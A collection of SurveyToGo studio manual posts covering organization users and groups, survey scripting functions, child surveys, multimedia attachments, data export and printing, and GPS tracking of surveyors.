"warc_info": "isPartOf: CC-MAIN-2022-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-194\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
38,
39,
304,
305,
328,
329,
662,
663,
684,
685,
959,
960,
1263,
1264,
1297,
1298,
1557,
1558,
1751,
1752,
2103,
2104,
2123,
2124,
2391,
2392,
2645,
2646,
3006,
3007,
3034,
3035,
3153,
3154,
3323,
3324,
3330,
3331,
3333,
3334,
3372,
3373,
3392,
3393,
3427,
3428,
3452,
3453,
3471,
3472,
3497,
3498,
3522,
3523,
3540,
3541,
3543,
3544,
3549,
3550,
3611,
3612,
3677,
3678,
3689,
3690,
3990,
3991,
4006,
4007,
4181,
4182,
4209,
4210,
4246,
4247,
4290,
4291,
4351,
4352,
4560,
4561,
4719,
4720,
4745,
4746,
5046,
5047,
5304,
5305,
5325,
5326,
5613,
5614,
5822,
5823,
6104,
6105,
6544,
6545,
6561,
6562,
6777,
6778,
6994,
6995,
6997,
6998,
7014,
7015
],
"line_end_idx": [
38,
39,
304,
305,
328,
329,
662,
663,
684,
685,
959,
960,
1263,
1264,
1297,
1298,
1557,
1558,
1751,
1752,
2103,
2104,
2123,
2124,
2391,
2392,
2645,
2646,
3006,
3007,
3034,
3035,
3153,
3154,
3323,
3324,
3330,
3331,
3333,
3334,
3372,
3373,
3392,
3393,
3427,
3428,
3452,
3453,
3471,
3472,
3497,
3498,
3522,
3523,
3540,
3541,
3543,
3544,
3549,
3550,
3611,
3612,
3677,
3678,
3689,
3690,
3990,
3991,
4006,
4007,
4181,
4182,
4209,
4210,
4246,
4247,
4290,
4291,
4351,
4352,
4560,
4561,
4719,
4720,
4745,
4746,
5046,
5047,
5304,
5305,
5325,
5326,
5613,
5614,
5822,
5823,
6104,
6105,
6544,
6545,
6561,
6562,
6777,
6778,
6994,
6995,
6997,
6998,
7014,
7015,
7036
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7036,
"ccnet_original_nlines": 110,
"rps_doc_curly_bracket": 0.00028425001073628664,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41265276074409485,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010064699687063694,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19051042199134827,
"rps_doc_frac_unique_words": 0.4297153055667877,
"rps_doc_mean_word_length": 5.020462512969971,
"rps_doc_num_sentences": 62,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.5065436363220215,
"rps_doc_word_count": 1124,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.012759169563651085,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006202369928359985,
"rps_doc_frac_chars_top_3gram": 0.006379589904099703,
"rps_doc_frac_chars_top_4gram": 0.0035442099906504154,
"rps_doc_books_importance": -552.2175903320312,
"rps_doc_books_importance_length_correction": -552.2175903320312,
"rps_doc_openwebtext_importance": -383.96868896484375,
"rps_doc_openwebtext_importance_length_correction": -383.96868896484375,
"rps_doc_wikipedia_importance": -306.5475158691406,
"rps_doc_wikipedia_importance_length_correction": -306.5475158691406
},
"fasttext": {
"dclm": 0.6123209595680237,
"english": 0.9081420302391052,
"fineweb_edu_approx": 2.661163330078125,
"eai_general_math": 0.6168792247772217,
"eai_open_web_math": 0.1393013596534729,
"eai_web_code": 0.9249345660209656
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,771,962,887,882,720,500 |
how to solve the problem
Mathematics
Tutor: None Selected Time limit: 1 Day
Brad Walked to the shore. There he saw 4 rocks lying side to side. Resting on the rocks were crabs. each rock had 2 more crabs than the rock to its left. There were 56 crabs in all. From left to right, how many crabs were on each rock
Aug 6th, 2015
Thank you for the opportunity to help you with your question!
Let x = the number of crabs on the left most rock
Then,
x + x+2 + x + 4 + x + 6 = 56
4x + 12 = 56
4x = 44
x = 11
therefore there are
11 crabs on the 1st rock
13 crabs on the 2nd rock
15 crabs on the 3rd rock
17 crabs on the 4th rock
Please let me know if you need any clarification. I'm always happy to answer your questions.
Aug 6th, 2015
Did you know? You can earn $20 for every friend you invite to Studypool!
Click here to
Refer a Friend
...
Aug 6th, 2015
...
Aug 6th, 2015
Dec 8th, 2016
check_circle
Mark as Final Answer
check_circle
Unmark as Final Answer
check_circle
Final Answer
Secure Information
Content will be erased after question is completed.
check_circle
Final Answer | {
"url": "https://www.studypool.com/discuss/1105528/how-to-solve-the-problem-4?free",
"source_domain": "www.studypool.com",
"snapshot_id": "crawl=CC-MAIN-2016-50",
"warc_metadata": {
"Content-Length": "46565",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:F43HQVUSWFK7MWBIR2DAML3FNOUSGL4E",
"WARC-Concurrent-To": "<urn:uuid:783c535c-55f5-4257-99b7-4b93743acaf4>",
"WARC-Date": "2016-12-08T02:13:20Z",
"WARC-IP-Address": "104.20.64.22",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:GTQ2XSDHWRJKWTDPTFXBM6XBLERO7RW3",
"WARC-Record-ID": "<urn:uuid:f787dce8-d610-42d8-b7b1-0b4d1542896d>",
"WARC-Target-URI": "https://www.studypool.com/discuss/1105528/how-to-solve-the-problem-4?free",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fe626a90-0156-4b11-8ffc-2a59a53d1ecf>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-31-129-80.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-50\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for November 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
27,
28,
40,
79,
80,
315,
316,
330,
331,
393,
394,
444,
445,
451,
452,
481,
482,
495,
496,
504,
505,
512,
513,
533,
534,
559,
560,
585,
586,
611,
612,
637,
638,
731,
745,
746,
819,
833,
848,
852,
866,
870,
884,
898,
911,
932,
945,
968,
981,
994,
995,
1014,
1015,
1067,
1068,
1081
],
"line_end_idx": [
2,
27,
28,
40,
79,
80,
315,
316,
330,
331,
393,
394,
444,
445,
451,
452,
481,
482,
495,
496,
504,
505,
512,
513,
533,
534,
559,
560,
585,
586,
611,
612,
637,
638,
731,
745,
746,
819,
833,
848,
852,
866,
870,
884,
898,
911,
932,
945,
968,
981,
994,
995,
1014,
1015,
1067,
1068,
1081,
1093
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1093,
"ccnet_original_nlines": 57,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35269710421562195,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.004149380140006542,
"rps_doc_frac_lines_end_with_ellipsis": 0.03448275849223137,
"rps_doc_frac_no_alph_words": 0.24066390097141266,
"rps_doc_frac_unique_words": 0.5615763664245605,
"rps_doc_mean_word_length": 4,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0.008298760280013084,
"rps_doc_unigram_entropy": 4.410023212432861,
"rps_doc_word_count": 203,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03694580867886543,
"rps_doc_frac_chars_top_3gram": 0.06157635152339935,
"rps_doc_frac_chars_top_4gram": 0.05911330133676529,
"rps_doc_books_importance": -110.37577819824219,
"rps_doc_books_importance_length_correction": -110.37577819824219,
"rps_doc_openwebtext_importance": -70.76556396484375,
"rps_doc_openwebtext_importance_length_correction": -61.267967224121094,
"rps_doc_wikipedia_importance": -39.24981689453125,
"rps_doc_wikipedia_importance_length_correction": -39.24981689453125
},
"fasttext": {
"dclm": 0.03827977180480957,
"english": 0.9562661051750183,
"fineweb_edu_approx": 1.1563736200332642,
"eai_general_math": 0.3549618721008301,
"eai_open_web_math": 0.14994263648986816,
"eai_web_code": 0.0002182099997298792
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
},
"secondary": {
"code": "372.7",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Elementary and Kindergarten"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,896,992,613,160,773,000 | Archive
Archive for the ‘Studio Manual’ Category
Chapter 3.1 – Managing an Organization with multiple users and groups
September 3, 2014 Leave a comment
Back to Table Of Contents
Back to Chapter 2.5 – Creating a basic Survey
Overview
An organization represents your company’s private space in SurveyToGo. Once you register for a SurveyToGo account an organization is created for you with the name you specified as your company and you can see your organization name listed on the root node in the SurveyToGo Studio:
You should only register once per company and if you need to grant other people from your company access to SurveyToGo – just create users for them and send them the user details and organization name.
Only you and the users that you create have access to your organization. All the surveys that you will create will be created in your organization and cannot be accessed by anyone other than you and the users that you create.
You can also change the properties and contact details of your organization by right clicking on the organization node and clicking on the “Organization Properties”:
What are Organization Users and how do create a new one?
SurveyToGo includes 2 types of users:
• Organization users
• Surveyor users
Organization users are users that are in charge of managing customers, operations & projects and are not the ones performing the actual surveys in the field.
Surveyor users are users that are responsible for actually conducting the surveys in field. By default the surveyors do not have access to the Studio.
Both user types have a password and a user name and you can define as many users as needed of each type. You can also organize them into relevant groups for easier maintenance.
1. Step 1: Create Organization User
2. Step 2: Adding multiple users
3. Step 3: provide organization users with access to projects?
4. Step 4: create new groups of organization users?
Step 1: Create Organization User
To create an Organization User you right click the “Users” folder of the “Studio Users & Groups” node:
You then enter the details of the organization user:
You need to make sure you give out a user name and a password for each organization user that you create. Once you are done filling out the information click the “Create” button.
** The way to add surveyor users is the same, by right-click on the Users folder of the “Surveyor Users & Groups” node.
Step 2: Adding multiple users
Please view this link to see how you can add multiple users at once:
http://support.dooblo.net/entries/28420962-How-to-create-multiple-users
Step 3: provide organization users with access to projects?
After you define all the users of your organization, you can assign them to the projects to give them access to the project. To do this, right click on the project and choose “Security Settings”:
This will bring up the security management screen where you can add the relevant user / group with the relevant permission:
You can then add the users you defined to the various roles of this project:
Role Description
Administrators Project administrators have full rights on the project to both modify, delete, and view data
Managers Project managers have full rights to modify and view the data of the project but do not have rights to delete data
Reviewers Have the same rights as managers as of now
Readers Only have rights to read data and do NOT have any right to change data
** please note that in order for this user to be able to create new surveys and projects, the user needs to be a part of the Survey-Managers group. To add a user to this group, expand the groups node and right click the Survey-Managers group:
Then click the “Add” button to add more users to this group:
Step 4: create new groups of organization users?
Adding a new group of organization users is easy, simple right click the “groups” node and select “create new group” option:
This will open up the new group screen and will allow you to add members to this group. You can then later add this group as project managers as shown above.
To change the rights of a group you can right click that group and select the “Group Rights”:
This will show you the group rights screen.
That’s it!
Go To Chapter 3.2 – Managing project data and operations
Back to Table Of Contents
Visit us at: http://www.dooblo.net
Categories: Studio Manual
Script Writer’s Function Hand-Book
August 15, 2012 1 comment
This document contains most of the common every-day usable functions in SurveyToGo.
Explained, demonstrated and elaborated.
This document is directly connected to us, and is constantly updated with new functions and info by our professional team, stay updated!
A Survey Script Writers True Gem!
FilterAnswersByAnswers \ FilterTopicsByAnswers:
Explanation: This function gets a target question index and a source question.
It filters the Current Question’s answers through, according to the answers chosen in the source questions specified.
Input: Gets 2 Parameters
1st Parameter: The Target Question.
2nd Parameter: A Boolean value – ‘true’ for showing answers selected, ‘false’ for showing answers not selected.
3rd Parameter: The Source Questions.
Output: Filters the specified answer index’s
Example of How to write:
FilterAnswersByAnswers(CurrQues,true,QRef(15));
FilterAnswersByAnswers(CurrQues,
true,QRef(15),QRef(16),QRef(17));
FilterTopicsByAnswers(3,
false,QRef(2));
SelectedAnswerText:
Explanation: This function gets a target question index and returns the text of the answer selected
Input: Gets 2 Parameters.
1st Parameter: The Target Question index.
2nd Parameter: A Boolean value – ‘true’ for getting the ‘Other Specify’ input too, ‘false’ for not getting the ‘Other Specify’ input text.
Output: Text of the answer selected
Example of How to write:
SelectedAnswerText (5,true);
SelectedAnswerText (2,
false);
Answer:
Explanation: This function gets a target question index of only single choice questions such as:
(Single-Choice, Numeric, Open Ended, Scale, Expression)
and returns its selected answer index.
Input: Gets 1 Parameters
1st Parameter: The Target Question.
Output: Returns its selected answer index
Example of How to write:
Answer(CurrQues);
Contains:
Explanation: This function gets a target question index of only Multi-Selection questions and an answer index, and checks if this answer was selected.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer Index.
Output: returns ‘True’ if the given answer was selected – returns ‘False’ if the given answer was not selected.
Example of How to write:
Contains(2,1);
SetAnswerVisible \ SetTopicVisible:
Explanation: This function gets a target question index, a answer\topic index, and a Boolean value (true/false), and shows\hides the given answer\topic.
Input: Gets 3 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer\Topic Index.
3rd Parameter: A Boolean value. (‘true’ for showing – ‘false’ for hiding)
Output:
Example of How to write:
SetAnswerVisible(CurrQues,2,false);
SetTopicVisible(CurrQues,4,
false);
AnswerChoice:
Explanation: This function gets a target question index of a ‘Single-Choice-Grid’ question only, and a topic index.
it returns the index of the selected answer in the given topic.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Topic Index.
Output: returns an index of the selected answer in the given topic within the given multi-topic question.
Example of How to write:
AnswerChoice(CurrQues,3);
AnswerChoice(1,2);
NumOfSelectedChoices:
Explanation: This function gets a target question index of a multi-selection question only, and returns the number of selected answers.
Input: Gets 1 Parameters
1st Parameter: The Target Question Index.
Output: returns the number of selected answers.
Example of How to write:
NumOfSelectedChoices(CurrQues);
GetTopicCount:
Explanation: This function gets a target question index of a Single-Choice Grid question only, and returns the number of topics.
Input: Gets 1 Parameters
1st Parameter: The Target Question Index.
Output: returns the number of topics.
Example of How to write:
GetTopicCount(CurrQues);
AnswerIter:
Explanation: This function gets a target question index of questions that are within a loop of only single choice questions such as:
(Single-Choice, Numeric, Open Ended, Scale, Expression)
and an iteration index.
It returns the answer of the target question in the given Iteration Index.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Specific Iteration Index.
Output: Returns its answer in the given iteration index within the loop.
Example of How to write:
AnswerIter (CurrQues,
3);
AnswerIter (CurrQues,IterationIndex);
*NOTE:IterationIndex Represents the current iteration when running within a loop, so it’s value is set according to the iteration which is currently running.
ContainsIter:
Explanation: This function gets a target question index of questions that are within a loop of only multi-selection question, an answer index and an iteration index.
It checks if the given answer was selected in the target question within the given Iteration Index.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Specific Iteration Index.
3rd Parameter: The Specific Iteration Index.
Output: returns ‘True’ if the given answer was selected in the given iteration – returns ‘False’ if the given answer was not selected in the given iteration index.
Example of How to write:
ContainsIter(CurrQues,
3,7);
ContainsIter (CurrQues,2,IterationIndex);
*NOTE:IterationIndex Represents the current iteration when running within a loop, so it’s value is set according to the iteration which is currently running.
Random():
Explanation: This function gets an integer and returns a random number between the 0 and the integer number given minus 1.
Input: Gets 1 Parameter.
1st Parameter: Maximum number. (Please note that the number generated is between zero till a number that is 1 less than the maximum number given)
Output: returns a random integer within the given range.
Example of How to write:
Random(5);
Random(732);
SelectedAnswerText():
Explanation: This function gets a target question index and a Boolean and returns a text string with all the answers chosen in the given question index, separated with a comma.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: ‘true’ for including any ‘Other Specify’ text, ‘false’ for not including any ‘Other Specify’ text.
Output: returns a text string with all the answers chosen in the given question index, separated with a comma.
Example of How to write:
SelectedAnswerText(12,true);
SelectedAnswerText(CurrQues,false);
SetAnswer():
Explanation: This function gets a target question index and a target answer index and sets this answer is chosen in the given question index
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer Index
Output: doesn’t return anything, just sets the answer given.
Example of How to write:
SetAnswer(5,2);
SetAnswer(CurrQues,8);
Child Survey Chapter
May 23, 2012 2 comments
Back to Table Of Contents
Back to
Chapter 8 – Start/End Scripts
About child surveys
SurveyToGo enables you to start a survey from within another survey. This feature can be used for a bunch of different purposes such as:
• Filling out surveys in response to conditions. For example: a survey for a retail store, that requires a different survey if the store was close.
• Filling out surveys in response to events in the field. For example: general medical device survey, where if while filling out the general questions, the patient suddenly reacts you need to fill out a survey about his/her reaction then continue back to filling the general survey.
• Simple loops.
Each child survey is rendered as a menu option on the device allowing for quick ad-hoc filling of child surveys.
How to make it happen?
In order to configure child surveys for a father survey, you just need to specify for the master survey which survey(s) are its child surveys. To accomplish this, do the following:
1. Open the main survey.
2. Click the “Edit Child Surveys” link on the advanced tab of the survey node:
3. Click the “+” button to add a new child survey, then fill out the “Button Text” text. This text will be shown on the menu of the device:
Then, click the “…” button to select the actual child survey from your existing surveys. Please note you can select any survey you want, and you can have a survey be a child survey of more then 1 parent.
4. Click the “+” button to add more surveys or the “OK” button to finish.
5. That’s it. You can now deploy the survey to the device and on the device you will see a menu
Working with child surveys on the device
Now, on the device when running the survey you will see a menu named “More”:
Clicking on this menu will bring up the ability to add or edit child surveys:
You can then select the relevant child survey from the list of surveys. This will start a new run of the child survey, after which you will return to the current survey.
To edit surveys you have already conducted tap the “Edit Additional Surveys” menu option, and then select the relevant survey.
How to change the “Data” field of child surveys for later editing?
When you choose to edit additional surveys from the device by clicking the option:
You will see a screen that lists out the various child surveys you have filled out. For example:
If you wish executing a child survey automatically, without needing the surveyor to do it manually, you can write the following script in your desired location in your questionnaire:
ChildMgr.StartChildSurvey(“THE NAME OF YOUR CHILD SURVEY”);
Column
Description
Name
Name of the child survey
ID
Internal ID
Time
The time when you have started the child survey run
Data
Additional data that can be associated with the child survey run.
The “Data” field can be used to specify whatever data you might want to associate with the child survey run. This value would populate the SubjectData variable. To set it’s value from within the survey you can use SubjectData = “this is a value”;
The SubjectData is a variable that can later be presented as additional attribute of the survey on the Operations Console and assist with identifying a specific survey run. An example can be a survey of a household that then calls for a child survey for each member of the family. You can call the child survey with the family member name by entering ChildMgr.StartChildSurvey(<Member Name>); or you can set it from within the child survey if the surveyor codes the name as one of the child survey questions. It will then be presented in the Operations Console and in the Additional Info column of the survey result in the surveyor’s device.
Please note you can interact with the “SubjectData” variable anywhere in the questionnaire, including Expression questions, start/end question scripts etc..
‘Communication’ between a Parent survey and a Child survey
The most efficient way to perform information exchange between child and parent survey is by using the Parent object from within the child survey.
You can call any SurveyToGo function by using Parent. for example Parent.Answer(1) would return the value of question 1 in the parent survey. Parent.SetAnswer(1, 2) would set the value of question 1 in the the Parenet survey to 1.
Go To Chapter 10 – Quota Management
Back to
Table Of Contents
Visit us at:
http://www.dooblo.net
Categories: Studio Manual
Chapter 4 – Capturing Multi-Media
May 22, 2012 Leave a comment
Back to Table Of Contents
Back to
Chapter 3 – Managing a Tablet Survey
About attaching files to the running surveys
SurveyToGo is enabled by default to accept any file that is created during the survey as an attachment to the running survey result. Because of this, any pictures that you take during the survey or any sounds that you record during the survey are automatically attached to the current survey result and will be sent along with the result to the server.
Creating A Multimedia question
Multimedia questions are types of questions which allow you to choose whether it will record Picture, Sound or Video.
Now, once the survey is running, you can capture the multimedia you chose by using the action button that will be displayed in the question.
1. Pictures:
2. Sounds:
3. Videos:
The Clear button will clear the latest multimedia file captured.
Of course, you can capture multiple files at once:
Any multimedia that you capture while you are in a survey is automatically bound to that survey result. Continue running the survey normally and once you synchronize the results back to the server, the pictures are synced with the results.
You can view attachments of specific results in the operations console.
Enter a result, and go to its answer’s tab, there you can see their attachments and the question the attachment was captured.
You can also view the attachment through the link to our server and save a local copy.
How to export the attached pictures/sounds
Attachments can be exported through the regular exporting wizard while exporting the results of a survey.
There are two options for exporting the attachments:
1. ‘Include attachment Results’: If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
1. ‘Include attachment list’ : If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
Both options can be selected together.
In the last screen of the export wizard, you can specify the folder for the attachments and choose your attachment exporting configuration.
Option Description
Export Data File This is the file name that will be filled with all the results according to your selection
Include result attachments If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
Include attachment list If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
Go To Chapter 5 – Showing pictures & media on the tablet
Back to Table Of Contents
Visit us at:
http://www.dooblo.net
Categories: Studio Manual
Chapter 6 – Exporting & Printing
May 14, 2012 2 comments
Back to Table Of Contents
Back to
Chapter 5 – Showing pictures & media on the PDA
About Exporting & Printing
SurveyToGo enables you to export the data of a survey at any point, to a number of different applications & formats. Furthermore, additional export providers can be written easily to support additional formats. Currently, the supported formats include MS Excel, MS Access, SPSS & XML. When exporting, you have complete control on the order of the exported columns, enabling you to separate the way the survey is presented from the way the data is to be exported.
The Export Wizard
Whenever you wish to export the data of the survey, you simply double click on the “Collected Data” Node in the relevant project:
On the screen that opens you have the choice of exporting the interviews or the actual survey structure. Choose the “Survey Results” option and select the relevant survey, then click “Export”:
Please note only active surveys will be displayed in the list. If your survey is marked as “Draft” or “Closed” then it will not be shown. If you need to export results of closed surveys, simply change their mode back to production or test.
Survey select screen
In this screen, simply select the survey who’s results you would like to export and click Next:
Export provider screen
Simply select the desired export provider and click the Next button.
Export options screen
To see a list of all the fields and their descriptions please click here: List of all fields and descriptions
When done you can either click the columns order tab to change the columns order settings, or click Next to continue.
Columns Order screen
The columns order screen allows you to define the exact order of the columns you would like to have when exporting the survey results. You can choose to export all or only a subset of the columns available, or even export a column more then once. Both the left list and the right list support multiple selections (by using the Shift and or Control keys) and are completely sort able by any column you desire.
When you are done configuring the order and number of columns you need to export, simply click the options tab or click Next to continue the export process.
Note: export settings are saved on your computer for the when you need to export the same survey again.
Option Description
Left list – Source columns Contains all the available columns. You can select one or more columns from this list to move to the output columns list. Internal columns, like the ‘duration’ column etc have a yellow background while survey specific columns have a white background. The list supports multiple selections & sorting. To sort, simply click the column of the list you would like to sort by.
Right list – output columns Contains all the columns that will be included in the output export file. The order of the columns is the actual order of the exported file. To change the order of the columns you can press the up/down arrows. To create a copy of a column, right click that column:
Up/down buttons Control the actual order of the columns. You can select either one or more columns and press the up down buttons to move these columns up or down.
Left/right buttons Control the movement of columns between the left and right list.
Options screen
The options screen allows you to specify some general options regarding the exported file. When you are done, simply click the Next button to continue.
Option Description
Include Filtered Out subjects Subjects who participate in your survey can be filtered out from the survey due to certain conditions. If checked filtered out subjects will also be included in the exported file, and an additional column – “Filter” is added to the exported data. The “Filter” column contains the index of the question the subject was filtered at.
Export only results submitted between… and … Enables you to specify a date range for the exported results. If specified, only results from the specified range are included in the export.
Swap rows and cols If checked, the results are exported so that each subject is a column, and each question is a row, instead of the regular format where each subject is a row and each question is a column.
File name selection screen
The file name selection screen allows you to enter the name of the output file name. When you are done, click the finish button to continue.
Option Description
Export Data File This is the file name that will be filled with all the results according to your selection
Include result attachments If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
Include attachment list If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
After you click the finish button, you will see the following screen:
Answer Yes to open the exported file using its associated application, or no to continue without opening the external application.
Exporting the survey (not the results)
Sometimes there comes a need to export the actual survey structure. This can include backup purposes, moving a survey from one SurveyToGo server to another one and more. To export a survey to XML, simply choose “Survey > Export” then choose Export Survey:
Choose the survey you would like to export, and click Next:
Choose the default SurveyToGo export provider and click Next:
Then choose a file name and click the finish button. The survey will be saved to the path you indicated.
Printing
Printing a survey can be very useful for both keeping a hard copy version of the survey & for sending to clients & team members for review. You can both directly print a survey or perform a print preview.
Direct Printing
To directly print a survey in SurveyToGo, choose the “Survey > Print” menu option:
Then choose the printer you desire from the standard printer selection screen and press OK to print:
Print Preview
To preview a survey before printing, select the “Survey > Print Preview” menu option:
Then the print preview screen will show, allowing you to preview the output before printing:
Go To Chapter 7 – Rules
Back to Table Of Contents
Visit us at:
http://www.dooblo.net
Categories: Studio Manual
SurveyToGo – Built-In Functions Hand Book
May 14, 2012 1 comment
Overview
SurveyToGo contains an enormous set of built-in functions ready to use.
We have assembled all of them in one file – a useful handbook for scripting surveys.
Please see this link for the download:
http://www.dooblo.net/downloads/SurveyToGoCommands.zip
It contains all the functions but in a more raw form. We are in the process of moving them from this file to a more elegant web manual. The beta version of the web manual is here: http://stg.dooblo.net/ULDocs – but it is only in beta so please expect things to be a bit weird with it.
We strongly recommend having this, Very Handful!
Visit us at: http://www.dooblo.net
Chapter 19 – GPS Tracking
January 26, 2012 1 comment
Back to Table Of Contents
Back to Chapter 18 – Multiple Languages & Translation
About Viewing GPS Tracking in Survey To Go Studio
SurveyToGo is enabled by default to use the GPS tracking feature of your devices without any pre-configuration needed.
Now you can track your surveyor’s location, know their route of movement and follow the specific location where surveys were conducted.
This feature gives field-managers and any other back-office teams a whole new aspect of benefits in organizing, managing and supervising your field team.
GPS Functionality in SurveyToGo
Where it is?
On your SurveyToGo Studio software, on the left side, where the main tree of your organization is, you can notice that there is an expandable node called ‘GPS Tracking’.
Show Latest Locations Node
This node will allow you to see all latest surveyors’ locations tracked by the GPS feature in their devices.
If you double click this node, you would get a window with the following menu:
1. This button will provide you with the map, showing the latest surveyor locations tracked.
2. You can define your search according to a specific user, specific group or all users at once.
3. Here you can define the time scale according to the time you want to track locations.
From five days ago until two hours ago.
4. You can save the map provided in step 1 as a Google Earth file.
After you click the ‘Get latest locations’ button, you would be provided with a map showing the latest locations tracked.
• In the upper part you have a navigation bar, you can move by using the mouse as well.
• If you float with the cursor above one of the location pins, you can see the specific user, time and date that this location was tracked.
• In the bottom right corner, you can see the view scale of the map.
• The map indicates street names and important locations name as well.
Show Route Node
